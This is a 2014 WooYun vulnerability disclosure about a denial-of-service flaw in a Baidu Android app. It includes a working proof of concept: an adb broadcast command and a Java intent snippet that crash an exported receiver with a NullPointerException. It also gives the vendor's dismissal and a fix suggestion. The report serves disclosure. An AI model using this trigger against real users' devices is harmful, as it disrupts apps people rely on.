[公开漏洞]百度某手机应用拒绝服务漏洞

来源:WooYun 浏览:694次 时间:2014-06-14
做网站找雨过天晴工作室
百度某手机应用拒绝服务漏洞 相关厂商: 百度 漏洞作者:hqdvista 提交时间:2014-03-19 11:01 公开时间:2014-06-14 11:02 漏洞类型:拒绝服务 危害等级:中 自评Rank:10 漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源:http://www.wooyun.org Tags标签: 客户端程序设计错误 客户端安全 漏洞详情 披露状态:

2014-03-19:细节已通知厂商并且等待厂商处理中
2014-03-19:厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-14:细节向公众公开

简要描述:

百度某手机应用拒绝服务漏洞

详细说明:

1、漏洞发现方式

发送com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver广播

am broadcast -n com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver



java代码:

Intent in = newIntent();

in.setComponent(newComponentName(“com.baidu.appsearch”, “com.baidu.pcsuite.swiftp.RequestStartStopReceiver”);

sendBroadcast(in);



2、漏洞证明

I/ActivityManager( 442): Start proc com.baidu.appsearch:deamon for broadcast com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver: pid=6865 uid=10086 gids={50086, 3003, 1015, 1006, 3002, 3001, 1028}



E/AndroidRuntime( 7191): java.lang.RuntimeException: Unable to start receiver com.baidu.pcsuite.swiftp.RequestStartStopReceiver: java.lang.NullPointerException

E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2383)

E/AndroidRuntime( 7191): at android.app.ActivityThread.access$1500(ActivityThread.java:141)

E/AndroidRuntime( 7191): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1310)

E/AndroidRuntime( 7191): at android.os.Handler.dispatchMessage(Handler.java:99)

E/AndroidRuntime( 7191): at android.os.Looper.loop(Looper.java:137)

E/AndroidRuntime( 7191): at android.app.ActivityThread.main(ActivityThread.java:5041)

E/AndroidRuntime( 7191): at java.lang.reflect.Method.invokeNative(Native Method)

E/AndroidRuntime( 7191): at java.lang.reflect.Method.invoke(Method.java:511)

E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)

E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)

E/AndroidRuntime( 7191): at dalvik.system.NativeStart.main(Native Method)

E/AndroidRuntime( 7191): Caused by: java.lang.NullPointerException

E/AndroidRuntime( 7191): at com.baidu.pcsuite.swiftp.RequestStartStopReceiver.onReceive(Unknown Source)

E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2376)

E/AndroidRuntime( 7191): ... 10 more



Screenshot 2014-03-16 21.28.05.png



漏洞证明:

Screenshot 2014-03-16 21.28.05.png

修复方案:

增加NPE检查

版权声明:转载请注明来源 hqdvista@乌云 漏洞回应 厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-19 11:04

厂商回复:

我们认为该漏洞存在,但无安全危害。属于功能性bug。
感谢对百度安全的支持。

最新状态:

暂无